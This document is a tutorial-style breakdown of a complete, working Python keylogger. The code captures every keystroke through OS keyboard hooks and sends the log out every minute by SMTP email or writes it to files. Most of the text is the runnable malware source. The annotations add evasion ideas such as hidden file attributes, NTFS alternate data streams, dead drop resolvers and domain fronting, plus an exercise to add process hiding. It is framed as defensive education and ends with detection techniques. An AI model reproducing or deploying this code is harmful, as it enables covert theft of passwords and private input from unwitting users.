Keylogger: Code Breakdown

A Cybersecurity Learning Guide
#!/usr/bin/env python3
"""
================================================================================
EDUCATIONAL KEYLOGGER - FOR DEFENSIVE CYBERSECURITY LEARNING ONLY
================================================================================
⚠️ WARNING & LEGAL DISCLAIMER:
This code is STRICTLY for educational purposes and understanding attack vectors.
Use ONLY on systems you OWN or have EXPLICIT WRITTEN PERMISSION to test.
Unauthorized use is ILLEGAL and unethical.
================================================================================
This guide helps security professionals understand:
1. How keyloggers capture keystrokes
2. Attack techniques to better defend against them
3. What to look for in detection systems
================================================================================
"""
Section 1: Importing Required Modules
The essential foundation that gathers specialized tools before building begins. These import statements assemble Python's capabilities for keyboard monitoring (keyboard), email transmission (smtplib), scheduled tasks (Timer), and data formatting (datetime, email modules). Like a carpenter collecting hammers, saws, and nails before construction, this section establishes what the program can do before explaining how it does it-revealing both technical functionality and security implications through the simple act of gathering resources.
import keyboard # Line 1: Main library for capturing keyboard input
import smtplib # Line 2: For sending email reports (SMTP protocol)
from threading import Timer # Line 3: Schedule periodic tasks
from datetime import datetime # Line 4: Get timestamps for logging
from email.mime.multipart import MIMEMultipart # Line 5: Create email structure
from email.mime.text import MIMEText # Line 6: Format email content
"""
IMPORT EXPLANATIONS:
- 'keyboard': Third-party library that provides cross-platform keylogging capabilities
Installation: pip install keyboard
- 'smtplib': Built-in Python module for sending emails via SMTP servers
- 'Timer': Creates timed intervals for periodic reporting
- 'datetime': Provides timestamping for when keys are pressed
- 'MIMEMultipart' & 'MIMEText': Email formatting tools for HTML/plain text emails
"""
Section 2: Configuration Parameters
The operational blueprint that defines the keylogger's behavior. These settings control reporting frequency and exfiltration methods while intentionally exposing security flaws like hardcoded credentials-transforming what would be a vulnerability in real malware into an educational moment about secure coding practices and attack detection.
# ======================== CONFIGURATION SETTINGS ========================
SEND_REPORT_EVERY = 60 # Line 1: Report interval in seconds (60 = 1 minute)
EMAIL_ADDRESS = "mail@gmail.com" # Line 2: Sender/recipient email
EMAIL_PASSWORD = "password123" # Line 3: Email password (INSECURE - never hardcode!)
"""
CONFIGURATION EXPLANATIONS:
Line 1: Controls how often captured data is reported/saved
- Lower values = more frequent reporting = larger logs
- Higher values = stealthier but risk data loss if detected
Line 2-3: Email credentials for exfiltration
⚠️ SECURITY FLAW: Hardcoded credentials are visible in source code
Better practice: Use environment variables or encrypted config files
REAL ATTACKS: Often use compromised email accounts or anonymous services
"""
Section 3: Keylogger Class Definition
The architectural framework that establishes the program's core structure. Like laying the foundation and floor plan of a building, this constructor initializes timing mechanisms, data storage buffers, and exfiltration pathways-creating the organized skeleton upon which all keylogging functionality will operate.
class Keylogger:
def __init__(self, interval, report_method="email"):
"""
CONSTRUCTOR: Initializes keylogger with settings
Parameters:
- interval: How often to report (in seconds)
- report_method: How to store data ("email" or "file")
Attributes initialized:
- self.interval: Stores reporting interval
- self.report_method: How data will be exfiltrated
- self.log: String buffer for captured keystrokes
- self.start_dt/self.end_dt: Timestamps for session
- self.filename: For file-based logging
"""
self.interval = interval # Line 1: Store reporting interval
self.report_method = report_method # Line 2: Store method (email/file)
self.log = "" # Line 3: Empty string to accumulate keystrokes
self.start_dt = datetime.now() # Line 4: Capture start time
self.end_dt = datetime.now() # Line 5: Initialize end time
self.filename = "" # Line 6: Will hold generated filename
Section 4: Key Press Callback Function
The digital eavesdropper that silently captures every keyboard interaction. This event-driven mechanism processes raw keystrokes into intelligible text, converting physical key presses into logged data while revealing how software interprets human input at the most fundamental level.
def callback(self, event):
"""
CALLBACK FUNCTION: Called every time a key is pressed
How it works:
1. Receives 'event' object from keyboard.on_release()
2. Extracts key name (event.name)
3. Formats special keys for readability
4. Appends to self.log buffer
Note: This uses 'on_release' not 'on_press' to avoid key repeat issues
"""
name = event.name # Line 1: Get name of pressed key
if len(name) > 1: # Line 2: Check if it's a special key (not single character)
if name == "space": # Line 3: Convert space to actual space
name = " "
elif name == "enter": # Line 4: Convert Enter to [ENTER] + newline
name = "[ENTER]\n"
elif name == "decimal": # Line 5: Convert decimal point
name = "."
else: # Line 6: Other special keys
name = name.replace(" ", "_") # Remove spaces from key names
name = f"[{name.upper()}]" # Wrap in brackets, uppercase
# Line 7: Append formatted key to log buffer
self.log += name
"""
REAL-WORLD ATTACK TECHNIQUES:
- Advanced keyloggers use rootkit techniques to hide from detection
- Some capture clipboard data, screenshots, or application windows
- Sophisticated ones use encryption to hide captured data
"""
Section 5: Filename Generation
The chronological filing system that organizes the data. By creating timestamped log files, this function demonstrates how attackers methodically catalog their harvest while leaving behind predictable forensic patterns that defenders can trace and analyze.
def update_filename(self):
"""
Generates a unique filename based on timestamps
How it works:
1. Formats start and end timestamps
2. Creates filename like: keylog-2024-01-15-103000_2024-01-15-103100.txt
3. This helps organize logs by time period
Note: [:-7] removes microseconds for cleaner filenames
"""
# Line 1: Format start timestamp (remove microseconds, replace spaces/dots with hyphens)
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
# Line 2: Format end timestamp similarly
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
# Line 3: Create filename with both timestamps
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
"""
DEFENSIVE DETECTION TIP:
Security teams monitor for:
1. Files created with "keylog" in the name
2. Rapid creation of timestamped files
3. Files in unusual directories (Temp, AppData)
"""
Section 6: File-based Reporting
The local evidence trail that stores captured data directly on disk. This simplest exfiltration method demonstrates how unencrypted local storage creates discoverable forensic artifacts-showing both attack methodology and defensive investigation opportunities in one transparent operation.
def report_to_file(self):
"""
Saves captured keystrokes to a local text file
This is the simplest exfiltration method - writing to disk
Used when email isn't available or for debugging
DEFENSIVE ALERT: This leaves forensic evidence!
"""
# Line 1: Open/create file with generated filename
with open(f"{self.filename}.txt", "w") as f:
# Line 2: Write log contents to file
print(self.log, file=f)
# Line 3: Print confirmation (debugging only - reveals activity!)
print(f"[+] Saved {self.filename}.txt")
"""
REAL ATTACKERS WOULD:
1. Use hidden/system attributes: attrib +s +h filename.txt
2. Encrypt the file contents
3. Use steganography (hide in images)
4. Use alternate data streams (Windows NTFS feature)
"""
Section 7: Email Preparation Function
The digital packaging station that formats stolen data for transport. By converting raw keystroke logs into structured email messages with both plaintext and HTML formats, this function reveals how attackers disguise and transmit stolen data while exposing detectable patterns in email composition.
def prepare_mail(self, message):
"""
Formats captured data into an email
Creates a multipart email with:
- Plain text version
- HTML version
- Subject line indicating keylogger logs
Note: Uses insecure hardcoded credentials (educational only)
"""
msg = MIMEMultipart() # Line 1: Create empty email structure
# Line 2-4: Set email headers
msg["From"] = EMAIL_ADDRESS # Sender
msg["To"] = EMAIL_ADDRESS # Recipient (self)
msg["Subject"] = "Keylogger logs" # Subject line
# Line 5: Create HTML version with captured data
html = f"<p>{message}</p>"
# Line 6-7: Create both plain text and HTML versions
text_part = MIMEText(message, "plain") # Plain text version
html_part = MIMEText(html, "html") # HTML version
# Line 8-9: Attach both parts to email
msg.attach(text_part)
msg.attach(html_part)
# Line 10: Convert to string for sending
return msg.as_string()
"""
DEFENSE TIP: Email security tools can detect:
1. Regular emails from same sender with similar subjects
2. HTML emails with minimal content
3. Emails with "keylogger" in subject/body
4. Patterns in attachment names/timing
"""
Section 8: Email Sending Function
The covert delivery system that transmits stolen data across networks. Using SMTP protocols with visible security flaws, this implementation demonstrates real-world data exfiltration techniques while providing clear examples of what secure email monitoring should detect and prevent.
def sendmail(self, email, password, message, verbose=1):
"""
Sends email with captured data via SMTP
SMTP (Simple Mail Transfer Protocol) steps:
1. Connect to SMTP server (Office365 in this case)
2. Start TLS encryption
3. Login with credentials
4. Send email
5. Disconnect
⚠️ SECURITY ISSUES:
- Plaintext password in code
- No encryption for stored credentials
- Email provider logs the activity
"""
# Line 1: Connect to SMTP server (Office365 on port 587)
server = smtplib.SMTP(host="smtp.office365.com", port=587)
# Line 2: Start TLS encryption (secure connection)
server.starttls()
# Line 3: Login with provided credentials
server.login(email, password)
# Line 4: Send the email (from self, to self, with prepared message)
server.sendmail(email, email, self.prepare_mail(message))
# Line 5: Disconnect from server
server.quit()
# Line 6-7: Print confirmation if verbose mode is on
if verbose:
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
"""
REAL ATTACKS USE:
1. Anonymous email services (ProtonMail, Guerrilla Mail)
2. Compromised email accounts
3. Encryption before sending
4. Dead drop resolvers (pastebin, GitHub gists)
5. Domain fronting to hide destination
"""
Section 9: Main Reporting Logic
The rhythmic heartbeat that drives periodic data exfiltration. This timing engine manages scheduled reporting cycles, creating predictable patterns of disk or network activity that demonstrate how even stealthy malware must operate on detectable schedules.
def report(self):
"""
Main reporting function - called periodically by Timer
This function:
1. Checks if any keys were captured
2. Updates timestamps
3. Calls appropriate reporting method
4. Resets log and restarts timer
"""
if self.log: # Line 1: Only report if something was captured
self.end_dt = datetime.now() # Line 2: Update end timestamp
self.update_filename() # Line 3: Generate filename
# Line 4-5: Choose reporting method based on configuration
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# Line 6: Print summary (debugging - would be removed in real attack)
print(f"[{self.filename}] - {self.log}")
# Line 7-8: Reset for next reporting interval
self.start_dt = datetime.now() # Reset start time
self.log = "" # Clear log buffer
# Line 9-11: Restart timer for next interval
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True # Allows program to exit if main thread ends
timer.start() # Start the timer
"""
DEFENSIVE MONITORING POINTS:
1. Regular timer intervals creating network/disk activity
2. Processes that restart themselves
3. Daemon threads in unexpected applications
4. Regular outbound SMTP connections
"""
Section 10: Starting the Keylogger
The activation sequence that brings the keylogger to life. By establishing OS-level hooks and initiating monitoring cycles, this function demonstrates how malware integrates with system infrastructure while revealing the precise moments when defensive systems should intercept such integrations.
def start(self):
"""
Starts the keylogger
Initializes the keylogger by:
1. Recording start time
2. Setting up keyboard hook
3. Starting periodic reporting
4. Keeping program running
"""
self.start_dt = datetime.now() # Line 1: Record exact start time
# Line 2: Set up keyboard hook - calls callback() on every key release
keyboard.on_release(callback=self.callback)
# Line 3: Start the first reporting cycle
self.report()
# Line 4: Print startup message (would be removed in real attack)
print(f"{datetime.now()} - Started keylogger")
# Line 5: Keep program running, waiting for keyboard events
keyboard.wait()
"""
TECHNICAL DETAIL: Hooking Mechanism
keyboard.on_release() uses operating system hooks:
Windows: SetWindowsHookEx() API
Linux: XRecord extension or evdev
macOS: Quartz Event Services
These hooks intercept keyboard events before they reach applications.
"""
Section 11: Program Entry Point
The launch protocol that safely initializes the entire system. Using Python's standard if __name__ == "__main__" pattern, this section shows proper program structure while demonstrating how security tools should be designed to prevent accidental or unauthorized execution.
if __name__ == "__main__":
"""
MAIN ENTRY POINT: Only runs if script is executed directly
This pattern prevents code from running if imported as a module
Important for security tools to avoid accidental execution
"""
# Line 1: Create keylogger instance with 60-second intervals and email reporting
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# Line 2: Start the keylogger
keylogger.start()
"""
EDUCATIONAL EXERCISE: Try changing parameters:
1. report_method="file" for local logging
2. interval=30 for more frequent reporting
3. Add encryption before sending emails
4. Add process hiding techniques
"""
Section 12: Defensive Countermeasures
The transformation chamber that converts attack knowledge into defensive power. This comprehensive guide provides detection techniques, mitigation strategies, and ethical frameworks-turning what could be dangerous knowledge into protective wisdom that strengthens both individual skills and collective security.
# ===================== DEFENSIVE DETECTION TECHNIQUES =====================
"""
HOW TO DETECT SUCH KEYLOGGERS:
1. PROCESS MONITORING:
- Look for Python processes running keyboard modules
- Monitor for suspicious command-line arguments
- Check for processes with open handles to keyboard drivers
2. NETWORK MONITORING:
- Detect regular SMTP connections to unusual servers
- Monitor for emails with subjects like "Keylogger logs"
- Watch for encrypted traffic to unknown destinations
3. FILE SYSTEM MONITORING:
- Watch for .txt files with timestamped names
- Monitor Temp directory for suspicious file creation
- Use file integrity monitoring on system directories
4. MEMORY ANALYSIS:
- Scan for keyboard hooking functions in process memory
- Look for encryption/encoding routines in unexpected processes
- Check for hidden threads in legitimate processes
5. BEHAVIORAL ANALYSIS:
- Detect processes creating periodic network/file activity
- Monitor for processes that survive user logout
- Look for applications with keyboard privileges they shouldn't have
"""
# ===================== IMPROVEMENTS FOR EDUCATIONAL USE =====================
"""
SAFETY IMPROVEMENTS TO ADD:
1. Environment validation:
if not os.getenv('EDUCATIONAL_MODE'):
sys.exit("Not authorized environment")
2. Automatic termination:
MAX_RUNTIME = 300 # 5 minutes
timer = Timer(MAX_RUNTIME, sys.exit)
3. Fake data generation (for testing):
if TEST_MODE:
self.log = generate_fake_keystrokes()
4. No hardcoded credentials:
Use environment variables or encrypted config files
5. Local-only mode by default:
DEFAULT_REPORT_METHOD = "file"
"""
# ===================== LEGAL & ETHICAL REMINDER =====================
"""
⚠️ CRITICAL WARNING:
1. PERMISSION: Only test on systems you own or have written permission to test
2. ISOLATION: Use virtual machines with no network access
3. DATA: Never capture real credentials or personal information
4. PURPOSE: This knowledge is for DEFENSIVE security only
5. LAWS: Unauthorized keylogging violates:
- Computer Fraud and Abuse Act (CFAA) in US
- General Data Protection Regulation (GDPR) in EU
- Similar laws worldwide
DEFENSIVE VALUE:
Understanding these techniques helps security professionals:
1. Develop better detection rules
2. Train users on security awareness
3. Implement proper security controls
4. Conduct authorized penetration tests
5. Build more secure applications
"""






